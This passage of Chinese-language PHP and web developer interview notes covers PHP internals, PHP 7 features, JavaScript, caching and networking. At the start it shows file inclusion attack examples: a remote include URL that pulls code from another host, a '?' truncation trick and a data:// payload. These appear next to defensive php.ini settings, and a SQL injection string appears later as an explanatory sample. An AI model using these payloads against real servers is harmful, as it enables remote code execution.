http://localhost:81/lfi/rfi.php?file=http://ip_address/php/rfi/rfi.txt?
技巧:?被解釋成url中的querystring,可用來在 遠端檔案包含 時 截斷 程式碼中後面內容。
防禦:
php.ini配置檔案裡allow_url_include=off
檔案包含利用技巧:
1.遠端檔案包含時 利用 data:// (>5.2.0) 或者 input://協議
/rfi.php?file=data:text/plain,<?php%20phpinfo();?>
附:php的安全配置
Register_globals =off
Open_basedir
Allow_url_include =off
Display_errors =off
Log_errors = on
Magic_quotes_gpc =off
Cgi.fix_pathinfo
Session.cookie_httponly
其他更詳細的介紹:
https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/
檔案上傳 PHP 指令碼
一、原理
一些web應用程式中允許上傳圖片,文字或者其他資源到指定的位置。
檔案上傳漏洞就是利用網頁程式碼中的檔案上傳路徑變數過濾不嚴將可執行的檔案上傳到一個到伺服器中,再通過URL去訪問以執行惡意程式碼。
eval 函式執行指令碼
eval()函式中的eval是evaluate的簡稱,這個函式的作用就是把一段字串當作PHP語句來執行,一般情況下不建議使用容易被黑客利用。
關於eval()的返回值通俗說法:執行語句中有return,且return不在函式裡面,則返回Return後面的值,否則返回null。
disable_functions 關閉高危函式
見上面“禁用mysql_系函式”
FPM 獨立使用者與組,給每個目錄特定許可權
涉及linux伺服器相關,先附文章
基礎https://blog.csdn.net/u011670590/article/details/53506192
https://blog.csdn.net/keyunq/article/details/51613125
https://www.cnblogs.com/52php/p/6224825.html
瞭解 Hash 與 Encrypt 區別
加密(Encrypt)
加密的概念:簡單來說就是一組含有引數k的變換E。資訊m通過變換E得到c = E(m)。原始資訊m為明文,通過變換得到的資訊c為密文。從明文得到密文的過程叫做加密,變換E為加密演算法,引數k稱作祕鑰。同一個加密演算法,可以取不同的金鑰,得出不同的加密結果。從密文c恢復明文m的過程稱作解密,解密演算法D是加密演算法E的逆運算。解密演算法也有引數,稱作解密演算法的祕鑰。
加密的方式:私鑰密碼(對稱加密)和公鑰密碼(非對稱加密)。
雜湊(Hash)
雜湊與加密是不同的,概括來說,雜湊(Hash)是將目標文字轉換成具有相同長度的、不可逆的雜湊字串(或叫做訊息摘要),而加密(Encrypt)是將目標文字轉換成具有不同長度的、可逆的密文。
兩者有如下重要區別:
1、雜湊演算法往往被設計成生成具有相同長度的文字,而加密演算法生成的文字長度與明文字身的長度有關。
2、雜湊演算法是不可逆的,而加密演算法是可逆的。
這裡重點強調一下Hash和Encrypt的主要區別,因為接下來的文章要用到這兩個概念,這裡對此不做深究。詳細介紹可看我下面參考的一篇文章雜湊(Hash)與加密(Encrypt)的基本原理、區別及工程應用。
高階篇
PHP 陣列底層實現 (HashTable + Linked list)
Copy on write 原理,何時 GC
解釋:
在複製一個物件的時候並不是真正的把原先的物件複製到記憶體的另外一個位置上,而是在新物件的記憶體對映表中設定一個指標,指向源物件的位置,並把那塊記憶體的Copy-On-Write位設定為1.
這樣,在對新的物件執行讀操作的時候,記憶體資料不發生任何變動,直接執行讀操作;而在對新的物件執行寫操作時,將真正的物件複製到新的記憶體地址中,並修改新物件的記憶體對映表指向這個新的位置,並在新的記憶體位置上執行寫操作。
這個技術需要跟虛擬記憶體和分頁同時使用,好處就是在執行復制操作時因為不是真正的記憶體複製,而只是建立了一個指標,因而大大提高效率。但這不是一直成立的,如果在複製新物件之後,大部分物件都還需要繼續進行寫操作會產生大量的分頁錯誤,得不償失。所以COW高效的情況只是在複製新物件之後,在一小部分的記憶體分頁上進行寫操作。
GC指的是Garbage Collection(垃圾回收):無資料
PHP 程式模型,程式通訊方式,程式執行緒區別
程式模型資料不多,只找到這一篇:
https://jiachuhuang.github.io/2017/07/06/PHP-FPM%E8%BF%9B%E7%A8%8B%E6%A8%A1%E5%9E%8B/
程式通訊方式:
pcntl擴充套件:主要的程式擴充套件,完成程式的建立,子程式的建立,也是當前使用比較廣的多程式。
posix擴充套件:完成posix相容機通用api,如獲取程式id,殺死程式等。主要依賴 IEEE 1003.1 (POSIX.1) ,相容posix
sysvmsg擴充套件:實現system v方式的程式間通訊之訊息佇列。
sysvsem擴充套件:實現system v方式的訊號量。
sysvshm擴充套件:實現system v方式的共享記憶體。
sockets擴充套件:實現socket通訊,跨機器,跨平臺。
php也有一些封裝好的非同步程式處理框架:例如swoole,workman等
這篇簡書文章有幾個例子:https://www.jianshu.com/p/08bcf724196b
這個好像例子更好看一點:
https://blog.stroller.vip/php/phpjin-cheng-tong-xun-de-ji-zhong-fang-shi.html
程式執行緒區別:
從邏輯角度來看,多執行緒的意義在於一個應用程式中,有多個執行部分可以同時執行。但作業系統並沒有將多個執行緒看做多個獨立的應用,來實現程式的排程和管理以及資源分配。這就是程式和執行緒的重要區別。
程式是具有一定獨立功能的程式關於某個資料集合上的一次執行活動,程式是系統進行資源分配和排程的一個獨立單位.
執行緒是程式的一個實體,是CPU排程和分派的基本單位,它是比程式更小的能獨立執行的基本單位.執行緒自己基本上不擁有系統資源,只擁有一點在執行中必不可少的資源(如程式計數器,一組暫存器和棧),但是它可與同屬一個程式的其他的執行緒共享程式所擁有的全部資源.
一個執行緒可以建立和撤銷另一個執行緒;同一個程式中的多個執行緒之間可以併發執。
一個程式至少有一個程式,一個程式至少有一個執行緒,程式和執行緒的主要差別在於它們是不同的作業系統資源管理方式。程式有獨立的地址空間,一個程式崩潰後,在保護模式下不會對其它程式產生影響,而執行緒只是一個程式中的不同執行路徑。執行緒有自己的堆疊和區域性變數,但執行緒之間沒有單獨的地址空間,一個執行緒死掉就等於整個程式死掉,所以多程式的程式要比多執行緒的程式健壯,但在程式切換時,耗費資源較大,效率要差一些。但對於一些要求同時進行並且又要共享某些變數的併發操作,只能用執行緒,不能用程式.
簡書原文連結
程式和執行緒的關係
程式就像地主,有土地(系統資源),執行緒就像佃戶(執行緒,執行種地流程)。每個地主(程式)只要有一個幹活的佃戶(執行緒)。
程式-資源分配的最小單位,相對健壯,崩潰一般不影響其他程式,但是切換程式時耗費資源,效率差些。
執行緒-程式執行的最小單位,沒有獨立的地址空間,一個執行緒死掉可能整個程式就死掉,但是節省資源,切換效率高。
php程式設計常見的程式和執行緒
1、在web應用中,我們每次訪問php,就建立一個PHP程式,當然也會建立至少一個PHP執行緒。
2、PHP使用pcntl來進行多程式程式設計
3、PHP中使用pthreads來進行多執行緒程式設計
4、nginx的每個程式只有一個執行緒,每個執行緒可以處理多個客戶端的訪問
5、php-fpm使用多程式模型,每個程式只有一個執行緒,每個執行緒只能處理一個客戶端訪問。
6、apache可能使用多程式模型,也可能使用多執行緒模型,取決於使用哪種SAPI.
yield 核心原理是什麼
見上文,此處未找到關於原理的資料,只有一些如何使用的片面教程
PDO prepare 原理
一篇大佬的文章:http://zhangxugg-163-com.iteye.com/blog/1835721,其他資料大多都參考了此篇
下面摘自知乎https://www.zhihu.com/question/23922206
事情是這樣的:你傳給prepare的語句,被資料庫伺服器解析和編譯。你通過 ? 或者帶名字的引數 :name 告訴資料庫引擎需要傳入的點。然後當你執行execute時,準備好的語句就會和引數結合起來了。
重點來了,引數是和編譯過的語句結合的,而非與SQL字串結合。SQL隱碼攻擊的原理就是混淆引數和語句(騙程式說是語句,其實本應該是引數)。所以,單獨傳送SQL,然後再傳送引數,輕輕楚楚,不會搞混。任何引數都會被當然字串傳入(當然資料庫會做優化,可能字串又變成了數字)。在上面的例子裡,如果$name變數是 'Sarah'; DELETE FROM employees ,結果就會是搜尋 "'Sarah'; DELETE FROM employees", 而不會清空你的表。
還有一個好處:如果你要對同一個語句執行很多遍,這條SQL語句只會編譯一次。速度會有所提升。
準備語句可以用來做動態查詢嗎?
準備語句只能用來準備引數,查詢的結構不能改變。
對於這些特殊場景,最好的辦法就是用白名單限制輸入。
PHP 7 與 PHP 5 有什麼區別
1、php標量型別和返回型別宣告
#主要分為兩種模式,強制性模式和嚴格模式
declare(strict_types=1)
#1表示嚴格型別校驗模式,作用於函式呼叫和返回語句;0表示弱型別校驗模式。
2、NULL合併運算子
$site = isset($_GET['site']) ? $_GET['site'] : 'wo';
#簡寫成
$site = $_GET['site'] ??'wo';
3、組合預算符
// 整型比較
print( 1 <=> 1);print(PHP_EOL);
print( 1 <=> 2);print(PHP_EOL);
print( 2 <=> 1);print(PHP_EOL);
print(PHP_EOL); // PHP_EOL 為換行符
//結果:
0
-1
1
4、常量陣列
// 使用 define 函式來定義陣列
define('sites', [
'Google',
'Jser',
'Taobao'
]);
print(sites[1]);
5、匿名類
interface Logger {
public function log(string $msg);
}
class Application {
private $logger;
public function getLogger(): Logger {
return $this->logger;
}
public function setLogger(Logger $logger) {
$this->logger = $logger;
}
}
$app = new Application;
// 使用 new class 建立匿名類
$app->setLogger(new class implements Logger {
public function log(string $msg) {
print($msg);
}
});
$app->getLogger()->log("我的第一條日誌");
6、Closure::call()方法增加,意思向類繫結個匿名函式
<?php
class A {
private $x = 1;
}
// PHP 7 之前版本定義閉包函式程式碼
$getXCB = function() {
return $this->x;
};
// 閉包函式繫結到類 A 上
$getX = $getXCB->bindTo(new A, 'A');
echo $getX();
print(PHP_EOL);
// PHP 7+ 程式碼
$getX = function() {
return $this->x;
};
echo $getX->call(new A);
?>
7、CSPRNG(偽隨機數產生器)。
PHP 7 通過引入幾個 CSPRNG 函式提供一種簡單的機制來生成密碼學上強壯的隨機數。
random_bytes() - 加密生存被保護的偽隨機字串。
random_int() - 加密生存被保護的偽隨機整數。
8、異常
PHP 7 異常用於向下相容及增強舊的assert()函式。
9、use 語句改變
#可以匯入同一個namespace下的類簡寫
use some\namespace\{ClassA, ClassB, ClassC as C};
10、Session 選項
1.session_start()可以定義陣列
<?php
session_start([
'cache_limiter' => 'private',
'read_and_close' => true,
]);
?>
2.引入了一個新的php.ini設定(session.lazy_write),預設情況下設定為 true,意味著session資料只在發生變化時才寫入。
11、PHP 7 移除的擴充套件
ereg
mssql
mysql
sybase_ct
為什麼 PHP7 比 PHP5 效能提升了?
1、變數儲存位元組減小,減少記憶體佔用,提升變數操作速度
2、改善陣列結構,陣列元素和hash對映表被分配在同一塊記憶體裡,降低了記憶體佔用、提升了 cpu 快取命中率
3、改進了函式的呼叫機制,通過優化引數傳遞的環節,減少了一些指令,提高執行效率
Swoole 適用場景,協程實現方式
適用場景直接看官方手冊中附帶的案例演示吧,還挺多的:
https://wiki.swoole.com/wiki/page/p-case.html
關於協程的手冊中也有專門原理解釋了:
https://wiki.swoole.com/wiki/page/956.html
前端篇
原生獲取 DOM 節點,屬性
詳細原文連結簡單列舉常見的:
// 返回當前文件中第一個類名為 "myclass" 的元素
var el = document.querySelector(".myclass");
// 返回一個文件中所有的class為"note"或者 "alert"的div元素
var els = document.querySelectorAll("div.note, div.alert");
// 獲取元素
var el = document.getElementById('xxx');
var els = document.getElementsByClassName('highlight');
var els = document.getElementsByTagName('td');
// 獲取一個{name, value}的陣列
var attrs = el.attributes;
// 獲取、設定屬性
var c = el.getAttribute('class');
el.setAttribute('class', 'highlight');
// 判斷、移除屬性
el.hasAttribute('class');
el.removeAttribute('class');
// 是否有屬性設定
el.hasAttributes();
盒子模型
所有HTML元素可以看作盒子,在CSS中,"box model"這一術語是用來設計和佈局時使用。CSS盒模型本質上是一個盒子,封裝周圍的HTML元素,它包括:邊距,邊框,填充,和實際內容。盒模型允許我們在其它元素和周圍元素邊框之間的空間放置元素。
CSS 檔案、style 標籤、行內 style 屬性優先順序
1.CSS 指層疊樣式表 (Cascading Style Sheets);樣式定義如何顯示 HTML 元素;樣式通常儲存在樣式表中;把樣式新增到 HTML 4.0 中,是為了解決內容與表現分離的問題;外部樣式表可以極大提高工作效率;外部樣式表通常儲存在 CSS 檔案中;多個樣式定義可層疊為一。
2.<style> 標籤用於為 HTML 文件定義樣式資訊。(稱為內嵌式css)
在 style 中,您可以規定在瀏覽器中如何呈現 HTML 文件。
type 屬性是必需的,定義 style 元素的內容。唯一可能的值是 "text/css"。
style 元素位於 head 部分中。
3.style 屬性規定元素的行內樣式(inline style)
style 屬性將覆蓋任何全域性的樣式設定,例如在 <style> 標籤或在外部樣式表中規定的樣式。
優先順序:行內式 > (內嵌、連結、匯入在同一個header裡,離相應的程式碼近的優先順序高)
HTML 與 JS 執行順序(頁面 JS 從上到下)
- js放在head中會立即執行,阻塞後續的資源下載與執行。因為js有可能會修改dom,如果不阻塞後續的資源下載,dom的操作順序不可控。
- js的執行依賴前面的樣式。即只有前面的樣式全部下載完成後才會執行js,但是此時外鏈css和外鏈js是並行下載的。
- 外鏈的js如果含有defer="true"屬性,將會並行載入js,到頁面全部載入完成後才會執行,會按順序執行。
- 外鏈的js如果含有async="true"屬性,將不會依賴於任何js和css的執行,此js下載完成後立刻執行,不保證按照書寫的順序執行。因為async="true"屬性會告訴瀏覽器,js不會修改dom和樣式,故不必依賴其它的js和css。
JS 陣列操作
Runoob文件(同w3c)
型別判斷
1、typeof
typeof 是一個操作符,其右側跟一個一元表示式,並返回這個表示式的資料型別。返回的結果用該型別的字串(全小寫字母)形式表示,包括以下 7 種:number、boolean、symbol、string、object、undefined、function 等。
2、instanceof
instanceof 是用來判斷 A 是否為 B 的例項,表示式為:A instanceof B,如果 A 是 B 的例項,則返回 true,否則返回 false。 在這裡需要特別注意的是:instanceof 檢測的是原型。
3、constructor
當一個函式 F被定義時,JS引擎會為F新增 prototype 原型,然後再在 prototype上新增一個 constructor 屬性,並讓其指向 F 的引用
4、toString
toString() 是 Object 的原型方法,呼叫該方法,預設返回當前物件的 [[Class]] 。這是一個內部屬性,其格式為 [object Xxx] ,其中 Xxx 就是物件的型別。
對於 Object 物件,直接呼叫 toString() 就能返回 [object Object] 。而對於其他物件,則需要通過 call / apply 來呼叫才能返回正確的型別資訊。
this 作用域
原文連結有案例
- 全域性的函式呼叫,this就代表全域性物件window;
- 函式作為物件的方法呼叫,this指向的是這個上級物件,即呼叫方法的物件;
- 建構函式的呼叫中的this指向新建立的物件本身;
- apply/call呼叫時的this,apply和call都是為了改變函式體內部的this指向
.map() 與 this 具體使用場景分析
map() 方法返回一個由原陣列中的每個元素呼叫一個指定方法後的返回值組成的新陣列。在實際應用場景中,在便利出的資料需要處理的時候用到map比較多一些,例如商品列表資料回來之後進行展示需要進行另外的操作時,如此不會改變原陣列,便可實現效果
This基本使用場景就對應上一個問題的四種情況了,網上大都是這個意思,並沒有具體舉例型別的場景說明。
Cookie 讀寫
JavaScript 可以使用 document.cookie 屬性來建立 、讀取、及刪除 cookie。
JavaScript 中,建立 cookie 如下所示:
document.cookie="username=John Doe";
您還可以為 cookie 新增一個過期時間(以 UTC 或 GMT 時間)。預設情況下,cookie 在瀏覽器關閉時刪除:
document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT";
您可以使用 path 引數告訴瀏覽器 cookie 的路徑。預設情況下,cookie 屬於當前頁面。
document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT; path=/";
在 JavaScript 中, 可以使用以下程式碼來讀取 cookie:
var x = document.cookie;
Note document.cookie 將以字串的方式返回所有的 cookie,型別格式: cookie1=value; cookie2=value; cookie3=value;
在 JavaScript 中,修改 cookie 類似於建立 cookie,如下所示:
document.cookie="username=John Smith; expires=Thu, 18 Dec 2043 12:00:00 GMT; path=/";
舊的 cookie 將被覆蓋。
使用 JavaScript 刪除 Cookie
刪除 cookie 非常簡單。您只需要設定 expires 引數為以前的時間即可,如下所示,設定為 Thu, 01 Jan 1970 00:00:00 GMT:
document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
注意,當您刪除時不必指定 cookie 的值。
寫cookie:
function setCookie(name,value)
{
var Days = 30;
var exp = new Date();
exp.setTime(exp.getTime() + Days*24*60*60*1000);
document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}
讀取cookie:
function getCookie(name)
{
var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
if(arr=document.cookie.match(reg))
return unescape(arr[2]);
else
return null;
}
刪除cookie:
function delCookie(name)
{
var exp = new Date();
exp.setTime(exp.getTime() - 1);
var cval=getCookie(name);
if(cval!=null)
document.cookie= name + "="+cval+";expires="+exp.toGMTString();
}
JQuery 操作
JQuery非常流行,所以網上大量各種文件,不在詳細說明
w3c教程
簡單選擇器舉例程式碼:(頁面中所有p標籤內容單擊即會消失)
$(document).ready(function(){
$("p").click(function(){
$(this).hide();
});
});
Ajax 請求(同步、非同步區別)隨機數禁止快取
$.ajax({
type: "post",
url: "path",
cache:false,
async:false,
dataType: ($.browser.msie) ? "text" : "xml",
success: function(xmlobj){
}
});
sync預設是true:即為非同步方式,$.ajax執行後,會繼續執行ajax後面的指令碼,直到伺服器端返回資料後,觸發$.ajax裡的success方法
若要將其設定為false,則所有的請求均為同步請求,在沒有返回值之前,同步請求將鎖住瀏覽器,使用者其它操作必須等待請求完成才可以
Bootstrap 有什麼好處
1.跨裝置,跨瀏覽器
可以相容所有現代瀏覽器
2.響應佈局
bootstrap提供了一套響應式、移動裝置優先的流式柵格系統。它可以根據使用者螢幕尺寸調整頁面,使其在各個尺寸上都表現良好
3.CSS模組化
bootstrap預先定義了很多CSS類,使用的時候直接給class賦予對應的類名即可,如text-left,text-align,.table等
4.內建JavaScript外掛
Bootstrap提供了很多實用性的JQuery外掛,這些外掛方便開發者實現WEB中各種常規特效。所以Bootstrap依賴於JQuery
5.豐富的元件
bootstrap提供了實用性很強的元件,包括:導航,標籤,工具條,按鈕等供開發者使用
跨域請求 N 種解決方案
摘要:
- document.domain + iframe (只有在主域相同的時候才能使用該方法)
- 動態建立script
- location.hash + iframe
- window.name + iframe
- postMessage(HTML5中的XMLHttpRequest Level 2中的API)
- CORS,背後的思想就是使用自定義的HTTP頭部讓瀏覽器與伺服器進行溝通,從而決定請求或響應是應該成功,還是應該失敗。
- JSONP,包含兩部分:回撥函式和資料。回撥函式是當響應到來時要放在當前頁面被呼叫的函式。資料就是傳入回撥函式中的json資料,也就是回撥函式的引數了。
- web sockets,是一種瀏覽器的API,它的目標是在一個單獨的持久連線上提供全雙工、雙向通訊。(同源策略對web sockets不適用)
新技術(瞭解)
-
- ES6
什麼是ES6(《ES6標準入門》電子書)
- 變數宣告const和let
- 2.字串
- 函式
- 擴充的物件功能
- 更方便的資料訪問--解構
- Spread Operator 展開運算子
- import 和 export
- Promise
- Generators
- 模組化
不是很懂,多找幾篇文章稍微瞭解一下
-
- 打包
一、web前端打包工具是什麼?有哪些種類?
它是一種將前端程式碼進行轉換,壓縮以及合併等操作的程式工具。目前常見的有grunt,webpack等。
二、打包工具作用是什麼?存在的意義?有哪些好處?
web前端打包工具,它能將我們前端人員寫得less,sass等編譯成css.將多個js檔案合併壓縮成一個js檔案。它的作用就是通過將程式碼編譯、壓縮,合併等操作,來減少程式碼體積,減少網路請求。以及方便在伺服器上執行。目前,會使用web前端打包工具是現代前端人員必備技能。
-
- 構建工具
構建工具就是用來讓我們不再做機械重複的事情,解放我們的雙手的
-
- vue、react、webpack、
Vue: (讀音 /vjuː/,類似於 view) 是一套用於構建使用者介面的漸進式框架。與其它大型框架不同的是,Vue 被設計為可以自底向上逐層應用。Vue 的核心庫只關注檢視層,不僅易於上手,還便於與第三方庫或既有專案整合。另一方面,當與現代化的工具鏈以及各種支援類庫結合使用時,Vue 也完全能夠為複雜的單頁應用提供驅動。官方文件
React 是一個用於構建使用者介面的 JAVASCRIPT 庫。React主要用於構建UI,很多人認為 React 是 MVC 中的 V(檢視)。React 起源於 Facebook 的內部專案,用來架設 Instagram 的網站,並於 2013 年 5 月開源。React 擁有較高的效能,程式碼邏輯非常簡單,越來越多的人已開始關注和使用它。官方文件
React 特點
1.宣告式設計 −React採用宣告正規化,可以輕鬆描述應用。
2.高效 −React通過對DOM的模擬,最大限度地減少與DOM的互動。
3.靈活 −React可以與已知的庫或框架很好地配合。
4.JSX − JSX 是 JavaScript 語法的擴充套件。React 開發不一定使用 JSX ,但我們建議使用它。
5.元件 − 通過 React 構建元件,使得程式碼更加容易得到複用,能夠很好的應用在大專案的開發中。
6.單向響應的資料流 − React 實現了單向響應的資料流,從而減少了重複程式碼,這也是它為什麼比傳統資料繫結更簡單。
Webpack是前端打包工具,上面“打包”裡已經提到了。
-
- 前端 mvc
mvc的含義在前端和後端是大致相同的,都是控制器-資料模型-檢視,網上資料提到Angular.js框架採用了mvc模式,一個簡介
M:是單據型別,就像很多財務系統,有很多種單據型別,如收銀,貨款,如果給每一個單據都設定一種模板,這樣未免太過死板;所以,如果為有著相同功能的單據設定基類别範本,即使單據間有些許不同,只要在自己的單據中新增即可,這樣,不僅大大減少了單據開發的工作量,而且,對於後期有相同功能的修改,也是很方便的。
V:web檢視,檢視中的元素,都有著功能模板的各個板塊標識,如,文字,數字,日期,這樣,方便控制器的控制。
C:指的是js功能控制,也許,有些人認為,後端把所有的資料打包處理好,然後下發給前端,前端直接進行渲染,然後如果有需要,前端把所有的資料直接打包,給回後端,讓後端去處理一大堆原始資料,這樣會很方便;但是,這僅僅只是片面的角度;隨著時代的發展,瀏覽器的不斷更新,效能也越來越好,如果單單依賴後端對資料的處理,那實在是太浪費當代瀏覽器的高效能,也太看低js的潛力。
優化
-
- 瀏覽器單域名併發數限制
瀏覽器的併發請求數目限制是針對同一域名的。意即,同一時間針對同一域名下的請求有一定數量限制。超過限制數目的請求會被阻塞,這就是為什麼會有zhimg.com, http://twimg.com 之類域名的原因。
瀏覽器 |
HTTP / 1.1 |
HTTP / 1.0 |
IE 11 |
6 |
6 |
IE 10 |
6 |
6 |
IE 9 |
10 |
10 |
IE 8 |
6 |
6 |
IE 6,7 |
2 |
4 |
火狐 |
6 |
6 |
Safari 3,4 |
4 |
4 |
Chrome 4+ |
6 |
6 |
歌劇9.63,10.00alpha |
4 |
4 |
Opera 10.51+ |
8 |
? |
iPhone 2 |
4 |
? |
iPhone 3 |
6 |
? |
iPhone 4 |
4 |
? |
iphone 5 |
6 |
? |
Android 2-4 |
4 |
? |
-
- 靜態資源快取 304 (If-Modified-Since 以及 Etag 原理)
Web靜態資源快取及優化
對於頁面中靜態資源(html/js/css/img/webfont),理想中的效果:
1. 頁面以最快的速度獲取到所有必須靜態資源,渲染飛快;
2. 伺服器上靜態資源未更新時再次訪問不請求伺服器;
3. 伺服器上靜態資源更新時請求伺服器最新資源,載入又飛快。
總結下來也就是2個指標:
· 靜態資源載入速度
· 頁面渲染速度
靜態資源載入速度引出了我們今天的主題,因為最直接的方式就是將靜態資源進行快取。頁面渲染速度建立在資源載入速度之上,但不同資源型別的載入順序和時機也會對其產生影響,所以也留給了我們更多的優化空間。當然除了速度,快取還有另外2大功效,減少使用者請求的頻寬和減少伺服器壓力。
if-modified-since 和 last-modified:
當apache接收到一個資源請求(假設是使用者是第一次訪問,沒有任何快取), 伺服器返回資源的同時,還會傳送一個last-modified的http響應頭, last-modified響應頭的內容值是該資源在伺服器上最後修改的時間.瀏覽器接受到這個http頭後,會把其內容值和資源同時儲存起來.當使用者第二傳送資源請求(假設這裡expire沒有生效或者已經過期), 瀏覽器在本地找到了一個相同的資源,但是不能確定該資源是否和伺服器上的一樣(有可能在兩次訪問期間,伺服器上的資源已經被修改過),此時瀏覽器傳送請求的時候,請求頭內會附帶一個if-modified-since的請求頭, 這個頭部的內容就是上一次last-modified返回的值, 伺服器把這個頭的值和請求資源的最後修改時間對比,如果兩個值相同,則認為資源沒有修改,將會返回304,讓瀏覽器使用本地資源.否則伺服器將返回資源,而且返回200狀態。
if-none-match 和 etag:
其實這兩個頭部和if-modified-since, last-modified的工作原理是一樣的, if-none-match作為請求頭, etag作為響應頭.既然工作原理一樣, 為什麼etag這對頭部會出現呢?原因在於, last-modified請求頭的內容是以檔案最後修改的時間作為對比的,但是unix系統裡面, 檔案修改的時間只儲存到了秒. 如果某些應用記憶體在1秒內對檔案做了多次修改,這樣last-modified是不能完成比較功能的.所以要引入一個新的機制(原因可能不止這一個);etag的值一般由3個數值組成,資源的inode值, 最後修改時間, 資源大小,以16進位制組成一個字串, 例如:1a-182b-10f; 但這個格式不是固定的, 只要保證該值的唯一性,但不限格式.
-
- 多個小圖示合併使用 position 定位技術 減少請求
這個應該屬於css基礎難度,叫雪碧圖,很常見的優化手法吧
首先將小圖片整合到一張大的圖片上,然後根據具體圖示在大圖上的位置,給背景定位:background-position:-8px -95px;
-
- 靜態資源合為單次請求 並壓縮
靜態資源合併請求的要求?
1. 存放靜態資原始檔的伺服器必須使用ngnix作為web伺服器(目前只有ngnix支援靜態資源合併請求)。
2. 合併請求的靜態資原始檔必須在同一個靜態資源伺服器上。
靜態資源合併請求的方法?
第一步: 將需要合併請求的幾個靜態資原始檔的公共域名和公共路徑作為公共字首,例如:http://res.suning.cn/project/shp/js/passport.js
http://res.suning.cn/project/shp/pc/js/pc_checkids.js
http://res.suning.cn/project/shp/pc/js/SFE.dialog.js
公共字首為:http://res.suning.cn/project/shp/
第二步: 在公共字首後加上兩個問號:http://res.suning.cn/project/shp/??/
第三步:將需要合併的靜態資原始檔的名稱(包括字尾),新增到公共字首後面,多個之間用半形逗號分隔,在最終結尾處加上靜態資原始檔版本號:
關於靜態資源的壓縮,看網上資料好多都是利用gulp(基於流的前端自動化構建工具)實現,幾篇教程:
-
- CDN
CDN的全稱是Content Delivery Network,即內容分發網路。CDN的基本原理是廣泛採用各種快取伺服器,將這些快取伺服器分佈到使用者訪問相對集中的地區或網路中,在使用者訪問網站時,利用全域性負載技術將使用者的訪問指向距離最近的工作正常的快取伺服器上,由快取伺服器直接響應使用者請求。
如果是自己的靜態資源需要使用cdn加速,則一般需要付費使用主機商如阿里雲提供的cdn加速服務,這裡以阿里雲cdn為例,放阿里雲的官方使用教程:https://help.aliyun.com/document_detail/27112.html
-
- 靜態資源延遲載入技術、預載入技術
延遲載入:資料顯示延遲載入即常說的懶載入,例如當頁面圖片很多時候,採用所見即所得方式,當頁面滾動到圖片位置時候,再進行載入圖片。
預載入:與延遲載入整好相反,在圖片未出現在視口中的時候,用new image方式載入圖片,載入快取。在使用圖片時候直接從快取中載入。
好像兩種技術更多的是應用於前端的圖片資源,css和js資源應該也同理吧。
這裡有一篇詳細實現的示例程式碼詳解:csdn部落格
-
- keep-alive
什麼是keep-alive:
在http早期,每個http請求都要求開啟一個tpc socket連線,並且使用一次之後就斷開這個tcp連線。使用keep-alive可以改善這種狀態,即在一次TCP連線中可以持續傳送多份資料而不會斷開連線。通過使用keep-alive機制,可以減少tcp連線建立次數,也意味著可以減少TIME_WAIT狀態連線,以此提高效能和提高httpd伺服器的吞吐率(更少的tcp連線意味著更少的系統核心呼叫,socket的accept()和close()呼叫)。但是,keep-alive並不是免費的午餐,長時間的tcp連線容易導致系統資源無效佔用。配置不當的keep-alive,有時比重複利用連線帶來的損失還更大。所以,正確地設定keep-alive timeout時間非常重要。
Apache開啟關閉Keep-alive(修改httpd_default.config)
Linux下keep-alive預設不開啟,開啟方法
-
- CSS 在頭部,JS 在尾部的優化(原理)
現在瀏覽器為了更好的使用者體驗,渲染引擎會嘗試儘快在螢幕上顯示內容,它不會等到所有的HTMl元素解析之後在構建和佈局dom樹,所以部分內容將被解析並顯示。也就是說瀏覽器能夠渲染不完整的dom樹和cssom,儘快的減少白屏的時間。假如我們將js放在header,js將阻塞解析dom,dom的內容會影響到dom樹的繪製,導致dom繪製延後。所以說我們會將js放在後面,以減少dom繪製的時間,但是不會減少DOMContentLoaded被觸發的時間。
網路篇
IP 地址轉 INT
php提供了兩個函式可以使ip和int互相轉換:ip2long()和long2ip(),系統函式小bug:ip某段加個前導0就會導致轉換結果錯誤,具體演算法原理(第一段乘以256的三次方,第二段乘以256的平方,第三段乘以256、最後總和)檢視以下連結介紹:
這裡有兩種演算法舉例
這裡是一種不同的思路
192.168.0.1/16 是什麼意思
學過計算機網路課程的應該不難理解。
192.168.0.0/16表示網路碼佔16位,也就是說該網路上可以有65534個主機(2^16-2)IP範圍:192.168.0.1~192.168.255.254,192.168.255.255是廣播地址,不能被主機使用。設定IP地址的時候:192.168.x.y 子網掩碼:255.255.0.0
DNS 主要作用是什麼?
通俗的講,我覺得dns就是ip和域名之間的翻譯器,學名叫域名解析器,下面是術語解釋:
DNS是域名系統 (Domain Name System) 的縮寫,該系統用於命名組織到域層次結構中的計算機和網路服務。DNS 命名用於 Internet 等 TCP/IP 網路中,通過使用者友好的名稱查詢計算機和服務。當使用者在應用程式中輸入 DNS 名稱時,DNS 服務可以將此名稱解析為與之相關的其他資訊,如 IP 地址。因為,你在上網時輸入的網址,是通過域名解析系解析找到相對應的IP地址,這樣才能上網。其實,域名的最終指向是IP。
IPv4 與 v6 區別
與IPV4相比,IPV6具有以下幾個優勢:
1.IPv6具有更大的地址空間。IPv4中規定IP地址長度為32,最大地址個數為2^32;而IPv6中IP地址的長度為128,即最大地址個數為2^128。與32位地址空間相比,其地址空間增加了2^128-2^32個。
2.IPv6使用更小的路由表。IPv6的地址分配一開始就遵循聚類(Aggregation)的原則,這使得路由器能在路由表中用一條記錄(Entry)表示一片子網,大大減小了路由器中路由表的長度,提高了路由器轉發資料包的速度。
3.IPv6增加了增強的組播(Multicast)支援以及對流的控制(Flow Control),這使得網路上的多媒體應用有了長足發展的機會,為服務質量(QoS,Quality of Service)控制提供了良好的網路平臺。
4.IPv6加入了對自動配置(Auto Configuration)的支援。這是對DHCP協議的改進和擴充套件,使得網路(尤其是區域網)的管理更加方便和快捷。
5.IPv6具有更高的安全性。在使用IPv6網路中使用者可以對網路層的資料進行加密並對IP報文進行校驗,在IPV6中的加密與鑑別選項提供了分組的保密性與完整性。極大的增強了網路的安全性。
6.允許擴充。如果新的技術或應用需要時,IPV6允許協議進行擴充。
